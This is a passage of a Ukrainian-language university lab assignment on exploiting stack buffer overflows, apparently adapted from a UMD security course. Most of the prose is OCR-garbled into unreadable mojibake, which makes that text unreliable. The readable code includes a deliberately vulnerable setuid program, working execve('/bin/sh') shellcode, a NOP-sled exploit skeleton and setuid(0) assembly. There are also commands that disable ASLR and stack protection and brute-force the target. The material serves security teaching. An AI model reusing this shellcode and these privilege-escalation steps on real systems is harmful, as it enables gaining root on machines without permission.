BaHHS CTEKY 3a/IJIs1 pO3Bard i mpuOyTKy” Ta JIEKIIiHI 3amucy 3i claii-
JIAMH.

2. [ToyaTKoBi HAJIAIUTYBAHHS
BukopucToByiiTe monepeanso HajtamToBHHK 00pa3 Ubuntu, mio

JOCTYITHUHN
tyT:http://www.cs.umd.edu/class/spring2016/cmsc414/resources.ht

ml

Leit 00pa3 Mu OyneMo BUKOPHCTOBYBATH MPH MEPEBIpLi KOAY Ba-
moi JrabopaTopHOi poOoTH. SKITO BiH HE MpaIIOBaTUME 3 ITUM 00pazoM
— BH He oTpuMaere 0aniB. He BaXKIuBO, SKIO BKOA IMPAITIOE 3 1HIIOO
Bepcieto Ubuntu (yu inmoro OC).

Obcsr komy, sSIKMM BaM JIOBEACTHCS HamucaTd y Wil JabopaTo-
pHil poOOTI HEBEIHKHUH, aje BaM IMOTPIOHO PO3YyMITH POOOTY CTEKYy.
Bukopucranns gdb (abo sikorock aHajora) € BaKIUBUM (Joci. 1CTOT-
HuUM). CtarTs “B3nomyBaHHS CTeKy 3aisl po3Bard i mpuOyTKy” Ayxke
KOpUCHA 1 Hajae OaraTto jeranei Ta JnokymeHranii. O3HaiiomTech 3
HEro, SIKII0 Y Bac BUHUKHYTH MUTaHHSI.

Ilo BcbOMy JOKYMEHTY 3alpOILEHHS KOMaHIHOI OOOJIOHKH 3a-
NyIIeHOT BiJ 3BHYAHOrO KOpWCTyBada Oyse Mo3Ha4aTHCh $, a s
000JIOHKH, 3aMyIICHOT Bi/l IMEHI CYIIEpKOPUCTyBaya #.

2.1 BuMKkHeHHs1 paHaoMi3anii aipecHOro NpocTopy

Ubuntu ta geski inmn auctpudytnBn GNU/Linux BUKOPUCTOBY-
I0Th PaHIOMI3aIlI0 aapPEeCHOr0 MPOCTOPY, 00 3POOMTH MOYAaTKOBI
aapecu creky Ta Kydi (heap) Bumagkosumu. Lle ycknanHioe Bu3HaueH-
HS aJIpECH alIbTEPHATUBHOTO KOAY (B CTEKY), pOOJISIYM aTaKu IeperoB-
HeHHS Oydepa ckiagHimmMu B peamizaiii. [aHa omiis Moxxe OyTH
BUMKHEHOIO BUKOHAHHSIM HACTYITHUX KOMAaHI:
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$ su root
Password: (BBeaiTb Naposb CyrnepKopucTtyBada)
# sysctl -w kernel.randomize_va_space=0

2.2 AJbTepHATHBHA KOMaHIHA 000J10HKa /bin/zsh

BukonyBanuii ¢aitn “set-root-uid” me SUID (set user identifier)
(aiin, skuil 3BUYAiiHUN KOPUCTYBad MOXKEe BUKOHYBATH SIK CYHEpPKOpH-
CTyBad, OIepalliifHa CHCTEMa THMYACOBO HAIA€ TPHUBLIETIT CYITepKOpH-
CTyBaua JAJis 3BHYAlHOTO KOpHCTyBaua. TouHiIIEe KOKEH KOPHCTYBad
Mae peanbHuil inzentudikarop (ruid) Ta pirounii (euid). 3a3Buuail BoHH
onnHakoBi. Komm kopuctyBau 3amyckae mei ¢aitn ioro miroumii uid
3MiHIOEThCS Ha uid cymepkopucTyBada. IIpm BuXomai 3 mporpamu BiH
BiZTHOBIIIOETHCS A0 PEasbHOTO.

[IpoTe K110 KOPHCTYBaY BHiiJIe HECHOPMAIILHO (SIK Y BHIQJIKY aTa-
K{ TIEPETIOBHEHHS CTEKOBOTO Oydepy) — Horo euid 3anumraerbes i1eH-
TU(IKATOPOM CyNEepKOPHUCTYBaua HaBiTh micisi Buxony. ms 6opoTsOu
3 1uM set-root-uid (komanga 00OJIOHKH) 3a3BUYAi BiJIKMAAE I TIPUBI-
JIeTii CymepKOpUCTYBaya Mepel 3amycKoM 000JIOHKH, SKIIO BUKOHYBa-
HUH TIpolec JUIIE 3 AIF0YUM 11eHTH(IKaTOPOM CYIepKOpUCTyBaya, ajie
He pea’tbHuM. TOX 3JTOBMHCHHUK HE CYNEpPKOPHUCTYBad OTpUMae 000J10-
HKy Oe3 mpusineriii xopucryBada. OOOJIOHKA 32 3aMOBYYBAHHSM B
Ubuntu /bin/bash mae 1ieit 3axucHuii MexaHi3m. IcHye iHIIa 0600HKa —
/bin/zsh y sx0i HEMa TaKoro MexaH13My [i moxna 3p06I/ITI/I KOMaH/IHOIO
00OJIOHKOIO 32 3aMOBYYBAHHSM 3MIHMBIIM CHMBOJIIYHE TOCHIIAHHS

/bin/sh.

# cd /bin
# rm sh
# In -s /bin/zsh /bin/sh

IIpumiTka: yHukaite nepesamycky Ubuntu 3 /bin/zsh y skocTi
00OJIOHKHM 32 3aMOBYYBAHHSM, 3aMIiCTh I[bOTO TPUCHUIUIIHTE MAIIMHY 3
vmware 4u virtualbox. V iHmomy Bunaaxy konu Ubuntu nepezaBaHTa-
xkutbesa cepenopuime GNOME 0Oyme BUMKHEHHUM 1 TiITbKH TEKCTOBHIA
inTepdelic maHiMeThCs. SIKIIO IIe TPANUTLCSA € KiIbKa CIOCOOIB IIe
BUIIPABUTH:



[] Bsiiizite B cucteMy, BBeaiTh sudo shutdown, 3°IBUTbCS MEHIO,
BubOepith “filesystem clean”, motim “normal reboot”.
BBiliniTe B cuctemy i:

N

sudo mount -0 remount /
sudo /etc/init.d/gdm restart

2.3 BumkHenHs stack guard

Kommninstop gec Hamae mexanizm Oe3nexu “stack guard” (anrd. -
OXOpOHEIb CTEeKY) Ul BUSBICHHS NEPENOBHEHb Oydepy, a OTKe I
3amoGiraHHs aTak IepemoBHEHHs Oydepa. Moro MoHA BHMKHYTH
CKOMIIUTIOBAaBIIM TMporpamy 3 omiiero -fno-stack-protector. [lns
npukiany mod ckommimoBaTH ¢aitn example.c 3 BUMKHeHHM stack
guard BUKOHAWTE HACTYIIHY KOMaHIy:

gcc -fno-stack-protector example.c
2.4 IlouaTkoBi daiinu

ITouaTkoBi (haiinu AOCTYITHI HA CTOPIHII TPEAMETY:
http://www.cs.umd.edu/class/spring2016/cmsc414/projects.html

3. 3aBnanns 1: «Burpam ngorepei»
Jlns movaTKy po3rIIIHEMO HACTYIHY IPOCTY mporpamy (HajgaHy B
nmoyaTkoBuX (haiinax sk lottery.c):

/™ lottery.c */

/* Lls nporpama € npocToto notepeeto */
/* BawuM 3aBaaHHAM € BurpaTtu 1i 3i 100% nMoBipHicTiO */

#include <stdio.h>

/* 3apaawu printf() */

#include <stdlib.h>

/* 3apaau rand() i srand() */

#include <sys/time.h> /* 3apaan gettimeofday() */

int your_fcn()

{
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/* Hapante Tpwu pi3Hi Bepcii uwiei dyHkuii, */
/* KOXHa 3 aKkux Burpac “notepeto” B pyHkuUii main().
*/

by

int main()
{
struct timeval tv;
/* “3acito€” reHepaTop BMNaaKkoBux ymcen */
gettimeofday(&tv, NULL);
srand(tv.tv_usec);
int rv;
rv = your_fcn();
/* Yac ana notepei */
if(rv '= rand())
printf(*You lose\n");
else
printf("You win'\n");
return EXIT_SUCCESS;

s mporpama BHKOHYE HPOCTy “TOTEpero” MmiAOuparodn piBHOMIp-
HO BWITAJIKOBE IIiJIe YMCIO0 BUKOpHCTOByroun ¢yHKIli0 rand(). Bona
oTpuMyr0 Bamie uncio 3 ¢yHkuii your fen(), siky BU MaeTe MOBHICTIO
KOHTPOJIIOBAaTH. Balmm 3aBHaHHSAM € HalucaTd HE OJHY, a TPH Pi3Hi
Bepcii miei ¢yHKINI, KOKHA 3 SKHUX I[0pa3y BHUIPAaBaTUME JIOTEPEIO.
JIerko HaTSAKHY, IO €IMHUM CIIOCOOOM SIKHUM TIEPEBipSEMO UM BH BH-
rpaere € Haanuc “You win” (1o ciifye 3a 3HaKOM HOBOT'O psAJKa) B
KIHII.

Mu OyaemMo KOMIIUTIOBAaTH 1i 3 BUMKHEHOIO PaHIOMI3alli€lo Mpoc-
Topy azpec i stack guard.

3acmepesicenna. Y Bac € npaBo 3MiHIOBaTH QyHKLi0 your fen six
3a0akaere, ajie BU B KOJHOMY Pa3i HE MMOBHHHI 3MiHIOBATH (PYHKIIIFO
main. Takox 1Lie 3aBOaHHs AO3BOJISIE BUKJIIOYESHHS 3 CHIIa0yCy: XapAKo-
JiHT TO3BOJICHUH, SIKIIO BU BBaXKaeTe, IO 1€ JOIOMOXE BaM BUTpartu!
Bu He MOBUHHI BUKOPHUCTOBYBATH IIEPEIIOBHEHHS Oydepa y AKOCTI 0J1-
HOTO 3 PIllICHb, aJie 1¢ 3BUYANHO K OJMH 31 NUIAXIB.



CrtBoputu Tpu komii lotteryl.c, lottery2.c, lottery3.c. KoxHa 3
SKUX Mae pi3Hi immieMmenTanii ¢ykamii your fen. (OcHOBHI iHCTPYKIIii
y cekuii 11).

4. BpaszauBa nporpama

Haranyto, Bu OyzneTe BUKOPHCTOBYBAaTH BPa3JIUBICTh MEPETIOBHEH-
Hs cTeKoBoro Oydepa y Bpasnusiii mporpami. Ha Binminy Bix 3aBnaHHas
0 Bam He 703BOJIEHO MOJIU(IKYBATH camy IpOrpamy; HATOMICTh BH
OyJeTe aTaKyBaTH PO3YMHO, OyAyI04H 3JIOBMUCHHIA BBIJI 0 IIPOTPaMH.

/> stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>
#include <string.h>

#define BSIZE 517

int bof(char *str)

{
char buffer[32];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{

char str[BSIZE];

FILE *badfile;

char *badfname = "badfile";

badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);

printf("Returned Properly\n");

return 1;



BpazmmBa mporpama stack.c mamana Bumie. 11106 ckomimiroBaTH
fioro 0e3 stack guard i 3poOutu BuKOHYBaHui (aiin set-root-uid 3po-
0iTb HacTyIHE:

$ su root

Password: (BBeAiTb Naposib Cyrnepkopmuctysaya)
# gcc -fno-stack-protector stack.c

# chmod 4755 stack

# exit

Hapmana Butie nmporpama MiCTUTh Bpa3JIMBIiCTh ITEPETIOBHEHHS CTe-
Ky y ¢ynkuii bof(). IIporpama 3untye 517 (BSIZE) 6aiit 3 badfile i
Hanpagisie X 10 ¢yHKii bof(), mo BukopuctoBye strepy() mob 30epe-
rTd 1 gaxi g0 0ydepa. Ane Oydep mae Tinbku 32 Oaiith, a strcpy() He
nepeBipsie Mexk Oydepa. OTox nepenoBHeHHS MoxuBe. PDaiin badfile
KOHTPOJIFOEThCSI KOPUCTYyBadeM. ToMy KOpHCTYBad MOKE BUKOPHUCTATH
ataky nepernoBHeHHs Oydepa. Ockinbku 151 mporpama € set-root-uid,
3BUYAHHUAN KOPHCTYBa4 MOXKE 3aIlyCTUTH KOMaHIHY OOOJIOHKY Bif
iMeHi cynepkopucTyBada. Meroro € ctBoputH ¢aiin badfile, mo 3po-
OuTH 11e Tmicns noBepHeHHs 3 QyHKIT bof().

5. 3apnanHs 2: BukopucraHHsi Bpa3JMBOCTI

Jl1s miboro 3aBIaHHA HEOOXiTHO:

[] BuUMKHYTH paHIOMI3aLlil0 aapecHoro npocropy (cexmis 2.1).

[] 3pob6uru /bin/zsh 06010HKOIO 32 3aMOBUYBaHHAM (CeKirist 2.2).

[] Ckommimosaru nporpamy stack 6e3 stack guard ta 3poOuT ii
set-root-uid (cekris 4).

3aBaHHAM € Hamucatd nporpamy exploit 1.c, mo reHepyBaTume

BignoBiauui daiin badfile. Bona Oyne momimaty HaCTyIHE y BiAIOBI-
JTHUX Micipix y badfile:

[] Shellcode.

[ ] IlimeoBy ampecy: aapecy B CTEKy JO sSKOI Ma€ MepeaaBaTHCh
KOHTPOJIb Ticis moBepHeHHs 3 QpyHkmii bof(), B imeami ampeca 3
shellcode.

[] NOP iHcTpyKIIii: 11100 301IbIINTH IIAHCH HA BU3HAYCHHS Bip-
HOT LIUTLOBOT aJIPECH.



[Iporpama mMae piBHO OJTUH apryMEHT: I[JILOBA aJipeca B MIICTHAT-
ATKOBOBY (opmari (Hamp. 0X1234abed). Bu MokeTe BUKOPHUCTOBYBA-
TH HACTYIIHUU CKEJIET:

/* exploit_1.c */
/* Creates a file containing the attack code */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0" /* xorl %eax, %eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp, %ebp */
"\x50" /* pushl %eax */

"\x53" /> pushl %ebx */
"\x89\xel" /* movl %esp, Yecx */
"\x99" /* cdql */

"\XxbO\x0b" /* movb $0x0b, %oal */
"\xcd\x80" /* int $0x80 */

int main(int argc, char **argv)
{

char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/> Fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);



fclose(badfile);

[licns Toro sK B 3aBepIINTE MPOrpaMy BHUIIE 3pO0iTh HACTYIHE Y
TepMiHAJl BiJ HENPHUBIICTIHOBAHOTO KOPHCTYyBada: CKOMIIUTIONTE 1
3aMmycTiTh Iporpamy, 1o 3amnoBHioe badfile, 3amycTiTh Bpa3nuBy mpo-
rpamy stack. fkmo exploit peanizoBaHuii KOPEKTHO, TO MiCHIs IOBEP-
HeHHs 3 QyHKUil bof mporpama BukoHae shellcode, nagasmu Bam npu-
Biserii cymepkopuctyBada. Och IpuKiIan KomaHna, mo Bu Bumacre,
NPUIYCKAI04H, 110 LiNboBa aapeca piBHa 0x1234abc.

$ gcc -0 exploit_1 exploit_1.c
$ ./exploit_1 0x1234abc // cTBOpiTbH badfile

$ ./stack // 3anycCTiTb Bpa3nney npo-
rpamy
# <---- BiTaro! Bu otpumanu root-npasa!

3ayBaxkTe, 110 TOTPH Te, MO By orpuManu 3ampomieHHs ‘# 000-
JIOHKa TiNbKH set-root-id mpouec, a He peanbHUiA root; ToO0TO BaMm niro-
ynii uid piBHMIA uid cymepkopucTyBaya, a pealbHHI Joci piBHHN Ba-
IIOMY BJIaCHOMY. B1 MoxeTe nepeBipuTH 1ie yBiBIIM HACTYIIHE:

#id
uid=(500) euid=0(root)

CrpaBxHiil MpUBiIeHOBaHUI MpoLeC € OLIBII MOTYXHUM, HiX suid
npouec. 30kpeMa, 0arato KOMaHz BeIyTh ceOe Mo pi3HOMY, KOJIU BH-
KOHYIOThC suid MporecoM i AIMCHO MPUBIICHOBAHUM ITPOLIeCOM. SIKIIOo
BU XO0ueTe, 100 1[I KOMaHIU PO3TJIIAIN Bac SIK CIIPaBXHBOTO CyIep-
KOpHCTyBada mpocTo BukoHaiiTe setuid(0), mo0 BcTaHoBuTH Bamr real
uid piauM uid cynepkopucTyBaya. J[is MpuUKIaay BUKOHAWTE HACTYII-
HY KOMaH/Iy:

void main()

{
he

setuid(0);



6. 3apaanns 3: 00xix 3axucry B /bin/bash

Tenep 3po0OiTh Tak, o0 aitn /bin/sh 3HOB mocuiaBcs Ha
/bin/bash i 3amycTiTh Ty caMy nporpamy, po3pobJeHy B HONEPEAHbOMY
3aBHanHil. Bu orpumanu o6ononky? Ll 060m0HKA Y IpUBUICHOBAHOMY
peknmi? 1o Tpamunocs? Cxoxe mo bash mae neskuil 3aXUCHHIA Me-
XaHi3M, 0 poOHUTH aTaKy HeycmimHow. Hacnpasai bash aBTomarnuno
3MeHIIye coOi mpuBinei, ko BiH BUKOHaHUU y suid koHTekcTi. Toxk
HaBITh SKIIO BU 3alyCTUTE Tak bash, Bu He oTpumaere npusinei cyre-
pKopHuCTyBaua:

$ su root
Password: (BBeAiTb Napo/jib CynepKopucTysaya)
# cd /bin

# rm sh

# In -s bash sh // 3pobutn /bin/sh nocnnaHHaM Ha
/bin/bash

# exit

$ ./stack // 3anyck Bpa3nuBoi nporpamm

Bu moxere o0iiiTH 1eii 3axucT 3MiHuBIIM shellcode Tak, 11100 BiH
cnovarky BukiukaB setuid(0) (mo0 craTu OiHCHO NpHUBLIEHOBaHUM
MPOLIECOM) TMepel CTBOPeHHsAM mporecy. Y 32-OitHomy Linux,
setuid(0) TpaHcarOETBCS B IHCTPYKIIiIO acemOiepa int 0x80 (syscall) 3
eax piBHuUM 0x17 (ko4 cucTeMHOro BHUKIHUKY) i ebx piBHuM 0x0 (apry-
MEHT CHUCTEMHOT0 BUKJIMKY). HacTymna mporpama Ha acembiepi po-
OuTHh 11€!

/* set_uid.s */
.globl main

main:
xorl %ebx, %ebx /* BcTtaHOBUTWM ebx piBHUM 0 */
leal 0x17(%ebx), %eax /* 3pobuTn eax piBHUM
ox17 */
int $0x080 /* nporpamMHe nepepuBaHHa 0x80 */



[ITo6 orpumaTn OGiHApHMIA KOI CKOMITUTIOWTE mporpamy (gec), 3a-
nycTiTh Yepe3 gdb i mpounTaiiTe BiAMOBIAHI KOHTEHTH maM’sATi. [Hakie
Kaxyun Bam moTpiOHO 3poOMTH MAIIMHHUN KOJ 1 BKJIIOYHTH Y Balll
(mepenoBHIOIOUMIT) BBiA.

ITincymyemo:

[] panmomisarist mpocTopy aJpec BUMKHEHA (K y 3aBaaHHi 1).

[] /bin/sh € mocunanusm Ha /bin/bash.

[] stack e set-root-uid BukonyBanum daiinom 6e3 stack guard.

Camum 3aBianHs € HanvcaT nporpamy (exploit 2.c), mo 3rexe-
pye Bimnosigauii badfile. [Iporpama mMae BHKIIIOYHO OJMH apryMEHT:
LibOBa ajpeca y micTHaasTKoBoMy hopmati C (sIK y 3aBraHHi 1).

7. 3apnanus 4: Pangomizanis npocropy aapec
e 3aBmaHHs Ma€ Take K CEPEIOBHUIIIE 5K 1 3aBIaHHS | 338 BUKIIIO-
YEHHSM TOTO, 1110 PAHIOMI3allil MPOCTOPY afpec yBIMKHEHA!

[] VBIMKHITH paHIOMI3aIlif0 TIPOCTOPY aJPeC HACTYITHUM YHHOM:
$ su root
Password: (Baw naponb)
# /sbin/sysctl -w kernel.randomize_va_space=2

[] /bin/sh € nocunanasam Ha /bin/zsh

[] stack e set-root-uid BukonyBanum ¢aiiom 6e3 stack guard.

Bukonaiite ataky po3poOnieHy B 3aBaaHHi 1. IMoBipHO BM He mO-
OaunTe KOMaHIHOI OOOJOHKH. Pammomizallis MpPOCTOPY ajpec pPi3Ko
3HIDKYE IMaHC aTaku Ha ycmix. Yomy? Aie mo BimOymeTbes SKIIO BH
MOBTOPHO OyzeTe 3amycKaTd Bpa3nuBUi koA. Bu moxere 3po0utu 1e
OJTHIEIO 3 HACTYNHUX KOMaH/; pyra TaKOXK ITOKa3ye Yuciio cupoO:

$ sh -c 'while [ 1 ]; do ./stack; done;’
$ sh -c 'CNT=0; while [ $CNT -It 10000 ]; \
do ./stack; let CNT=CNT+1; echo $CNT; done;’

Sxmio Bam exploit BUKOHaHWH MPaBUIBHO, TO HACTIPAB/i 1€ BiAK-
pue nepenr BaMu 000JIOHKY CylepKopucTyBada. Yomy?

binpme Toro, sikmo BSIZE (B stack.c) 30inbmieHnit Bu Moxkere
3pobutn Tak (tailor), mo0 Bam exploit mocAras ycmixy 3a KOpPOTIINH
yac (ToOTO 3a KiJibKa IIOBTOPIB) B cepeaHbOMY. SIk?



3aBaaHHAM Oy/Ie HAITUCATH TPU CKCIIOUTH:

[] exploit 3 1000.c mpoBoxuth ataky s stack.c 3 BSIZE pis-
HuM 1000.

[] exploit 3 10000.c mpoBoauts ataky mis stack.c 3 BSIZE pis-
Hum 10000.

[] exploit 3 100000.c npoBoxutk araky mis stack.c 3 BSIZE pi-
BarM 100000.

YHeBHITLCS, IO CEPEHIN Yac MPOBENEHHS YCIIIIHOT aTaKh 3Me-
HIIIyeThest 31 30inpmenHsM BSIZE.

8. 3apnanHs 5: 3axuieHa nporpama

BinbIicTh MpoeKTy 10 CHX Mip MaJla CIpaBy 3 aTakaMu Ha iCHYIO-
yuid KoJ. Y 1IbOMY 3aBJaHHI MOTPIOHO HANMCATH 3aXUILEHUI KO Biac-
Hopyu. Ile mpocra mporpaMa, TOK BUKOPHUCTAHTE L€ SIK MOXKJIHMBICTB
MPHUIIIMTH IKOMOTa OLIbIIE YBard J0 KOXKHOI CTPIUKH KOfy, 1100 3po-
OUTH HOTO HEBPA3IMBUM JI0 )KOJIHOT 3 aTaK MPO SKi MU TOBOPHJIH.

3aBJaHHSAM € HAIUCATH JBI MIPOTPAMHU:
[] task4/store.c
o UYurae 3 stdin.
o [lg BXimHa cTpiuka Mae OyTH HE TOBIIOIO 3a 16 CUMBOIIIB
(He BKIJIIOYAIOYM HYJIHOBOT'O CHMBOJY 3aBEpLICHHS CTpid-
k#). byspb sKi 10IaTKOBI CHMBOJIM MAlOTh OYTH TIPOITHOPO-
BaHi.
o Il mporpama 3anucye 11i cuMBosn 10 ¢aiiny output.txt.
[] task4/repeat.c
°  UYyrannaa 3 ¢aiiny output.txt, SKIIO BiH iCHye (BHBOIHUTH
“(hbaiin He iCHy€” B IPOTUIICKHOMY BHUIIAJIKY).
o Ila mporpama BuBOAUTH y stdout Te, 110 OyJI0 30epeKeHO
iHIIOI TporpaMoro (output.txt MOBUHEH MICTUTH MaKCH-
MyM 10 cMMBOIIIB HEe BKIIIOYAIOYH HYJb-TEPMiHAJIBHUN CH-
MBOJ).
OO6ungi nporpamu MaroTh O0yTH 3i0paHi 6e3 ASLR Ta stack guard
(sx y 3aganHi 1). Takoxx MOKH BHIIIE OMHUCAHO SIK 0arato CUMBOJIB “TO-
BUHHO” OyTH Ha BXOJi, HEMa€ TapaHTil IO Iie BiANOBiqaTHME JTiHCHOC-
Ti. Y BUMNAIKY, AKIIO 3HAAO0ONIATHCS SIKICh iHIII (haiim (Harmp. 3aroiaoB-



Hi), IOMICTITh iX B mamnky task4/. I{s mupekTopis Mae OyTH caMo10CTa-
THBOI0. He momimaiite Tyam >xomgHoi iHGopMartii, mo Moxe iaeHTudi-
KyBaTu KopHcTyBaya (iM’s KOpUCTyBaya, iIeHTU(IKATOp TOLIO).

9. 3aBnanHs 6: meper.isi 3aXMILEHOCTI

3 momomororo miei madopaTopHoi poOOTH MOYKHA BUBYATH 1 OTPH-
MYBaTH JOCBi/ pa3oM 3 TEXHIYHUMH JETATSIMU O€3MEYHOT0 Mporpamy-
BaHHS, MPOTOKOJIIB 1 MepexK. [HIIMMHU ClIoBaMH PO3POOUTH HABUKH OY-
TH CIPOMOXXHHMH aHANIi3yBaTH CHCTEMH, 1IEHTH(]IKYBaTH 3arpo3u i
PO3pOOIATH 3aXUCT NPOTU HUX.

OpHa 3 mUPIIKX LiNed IbOro KypCy € TaKOXK MPOBECTH Bac JI0 Po-
3po0KH “Oe3neuHoro o0pa3y mMucieHHs”. s npukiany ysBiTh 10 BU
OaunTe pexiamy HOBOi MalllMHH, L0 MOBHHHA PO30JIOKOBYBaTH CBOI
JIBEPIISITA, SKIO B BAAapuiu cBili TenedoH o0 Hel (bumped your phone
against it). SIkiio y Bac ‘“Oe3meuHHil crocid MHCICHHS BaIlOK Iep-
00 TYMKOIO MOKE OYTH “SIK 51 MOXKY 11€ BUKOPHCTATH 1100 BITYMHUTH
gyxuil aBToMo011b?” (I sKI0 BU NiCHO PO3BHHETE TaKWH 00pa3 Muc-
JICHHS, BH 3MOJKETe BXKe MOoJAyMaru: “Sl MOXy BiTYMHHUTH #oro 3poou-
BIIU...”).

Le, BimBepTO KaxKky4H, HE TyXKe MPHUPOJHiIHN crocid OaueHHs CBiTy.
Lle 3HaYMTh MHCIMTH MOMIOHO 3JIOBMUCHMKY: JIy>KE€ BaXKJIMBE BMiHHS
KOJIM BH PO3pOOIIsieTe 1 po3paxoByeTe (i B3IOMYETE) CHCTEMU OE3MEKH.

10. 3aBnanus 7: «BinTBopiTe My3uunuii ¢paiia»

MerToro 116010 3aBaHHs € po3podutu ¢aiin badfile Takum, 110 i
yac BUKOHAHHS (3 HAAIITYBaHHIMH K Y 3aBJaHHAX 1-3), 3arpaia mic-
Hi. lle Mmoxxe OyTn Oynmb-ska micHA. Hamicmanuii BaMu Katamor Moxe
MicTUTH Oynb-sKi (haiinm, HeoOXinHi, mo6 crBoputy badfile. Lle o3Ha-
yae, 10 JOJAaTKOBI (aili MaloTh OyTH BiICYyTHIMH Ha MOMEHT 3aIlyCKy
MIpOTrpaMHu.

Sxmio Bu BHpimmTe pOOWUTH 1€ 3aBAAHHS, HAMINUITH BiATOBITHI
(hatinu pa3om 3 iHIIMMU 70 BianoBiaHOI natu. [lomicTiTh 1X BCix y man-
Ky music/ 1 BKIIOUiTh Tyau ¢aitn music/readme.txt, oo NOsSCHIOBATUMY
SK 3aIyCTUTH IO MENOJIHHY aTaky. Bu TakoX MOBHWHHI TIPOJAEMOHCT-
pyBaTH 1ie Tiepel 1HCTPYKTOpoM (TodyBaiiTe cebe BIIbHO y BHUKOPHC-
TaHHI [IBOTO K MOXJIMBOCTI 3yCTPidi 3 IHCTPYKTOPOM).

BuxonaHe 3aBIaHHS Ma€ MiCTUTH HACTYITHI (haiinm:



lotteryl.c
lottery2.c
lottery3.c
exploit_1.c
exploit_2.c
exploit_3 1000.c
exploit_3_10000.c
exploit_3 100000.c
. targetaddr.txt — caiin 3 piBHO II’SITH CTPIYOK y BUIIISII
“0x1234abc”
1. crpiuka 1: apryment ans exploit 1
2. crpiuka 2: aprymeHT juis exploit 2
. cTpiuka 3: aprymenT s exploit 3 1000
. crpiuka 4: apryment g exploit 3 10000
. cTpiuka 5: apryment i exploit_3 100000
0. task4/store.c:
1. task4/repeat.c:

©CoNoT~wdE

3
4
5
1
1

11. lonaTkoBa indopmanis
11.1. Shellcode

Shellcode e OinapHMi KO, IO 3alyCKae KOMaHIHY OOOIIOHKY.
3rigHo HacTynHoi nporpamu Ha C:

/* start_shell.c */

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = "/bin/sh";
name|[1l] = NULL;
execve(name[0], name, NULL);

MamyHHAN KOl OTPUMAaHUN TIPH KOMIIUJIAIT MOXKE CITyTYBaTH K
shellcode. TIpote BiH 3a3BHUail HE MiAXOIUTD [T ATAKH MMEPETOBHEHHS
oydepa (BiH Moxe OyTu He KoMmakTHUM, mictutd 0X00 3ammcu). Tox



3a3BUYal MMIIYTh IporpamMy Ha acemOjepi 1 aceMOJOITH 1i 100
orpumaru shellcode.
Hwxkue momano shellcode, sikuit MokHa BUKOPUCTATH Y CTEIII:

/* call_shellcode.c */

/> A program that executes shellcode stored in a buffer */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0" /* xorl %eax, Y%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /™ movl %esp, Y%ebp */
"\x50" /* pushl %eax */

"\x53" /* pushl %ebx */
"\x89\xel" /* movl %esp, Y%ecx */
"\x99" /* cdql */

"\xbO\x0b" /* movb $0x0b, %oal */
"\xcd\x80" /* int $0x80 */

int main(int argc, char **argv)

{
char buf[sizeof(code)];
strcpy(buf, code);
(Cvoid(*)()buf)( );

3

s mporpama mictuts shellcode y macusi char|]. CkoMmijiroBaBIIx
1 3allyCTHBINY TPOTpaMy 3allyCTUTHCS KOMaHJHAa 000JIOHKA. Takoxk
nopiBasiiTe 1ed shellcode i3 3reHepoBaHMM KOMaHIOKW gcc -S
start_shell.c.
Kinbka Miciis y 1isoMy shellcode Bapri yBaru:
[] Io-mepiue: TpeTs iHCTPYKIIis MOMiliae B CTeK cTpiuky ““//sh”, a
He “/sh”. Lle Tomy, 1o HaM noTpiOHO 32 umcio TyT, a “/sh” mae



aume 24 6ita. “//” exBiBaIeHTHO “/”, TOXX MH MOKEMO OOIMTH
1€ MTOJIBIHHUM CJIEILIEM.

[] To-mpyre: mepea BUKIMKOM CHCTEMHOTO BUKIHKY execve() mo-
TpiOHO 30epertu name[0] (agpecy cTpiuku), name (aapecy ma-
cuBy) i NULL B peractpax %ebx, %ecx 1 %edx BiamosizHo.
Crpiuka 5 36epirae name[0] mo %ebx; Crpiuka 8 30epirae
name 10 %ecx; Ctpiuka 9 BctanoBmoe %edx B 0. € pi3Hi cro-
cobu o6nymuTH %edx (Hamp. xor %edx, %edx); BUKOpHUCTaHUI
TyT (cdql) mpocto kopoTmwii (TI0 po3Mipy THCTPYKILiT).

[] ITo tpere: execve() BUKOHYETHCS KOJIM BCTAHOBIOE %oal piB-
uum 11 i Bukonyemo int $0x80.

11.2 Bu3znaveHHs aipecd BUKOHAHHS JIJIs1 BPa3JIMBoOI Mporpa-
MH
PosrnsHemMo BUKOHaHHA HaIIol Bpas3nuBoi mporpamu stack. Jlms
YCHIIIHOTO 3IHCHEHHSI aTaKu MeperoBHEHHs Oydepy moTpiOHO Braja-
TH JIBa runtime 3HaYeHHs BIIHOCHO CTEKY MpHU BUKIUKY (QyHKIT bof().
1. Bincrans R Mix nepenoBHeHrM OydepoM 1 Micuem nie 30epira-
€TbCs aapeca noBepHeHH: 3 yHKuil bof(). LlinboBa agpeca mo-
BHMHHA MICTUTHUCH B mo3ullii R y badfile.

2. Anpeca, Ha3Bem ii T, ne nounnserscs shellcode. Mae OyTu pi-
BHUM IIJTbOBIH azipeci.

Slkimo cupueBMii KOJ Takol NpOrpaMu SIK CTE€K € JOCTYIHHM, TO
JIETKO TOYHO BrajiaTh R, sik 300pakeHO Ha MOTEpPEeTHHOMY MAJFOHKY.
Iamm ciocobom aizHatucs R € 3amyctutu nporpaMy B Aebarepi. 3Ha-
yeHHs1 R oTpumane numu Meronamu Mae OyTH BimHOcHHM (close), sik-
IO HE TaKUM, sIK 3HAYCHHS KOJIM Bpa3JIMBa MporpamMa 3amylneHa npoTsi-
T'OM aTaku.

SIKI1I0 ’KOZIEH 3 METOiB HEMOXKIIMBO 3aCTOCYBATH (Hamp. Qaiiia BU-
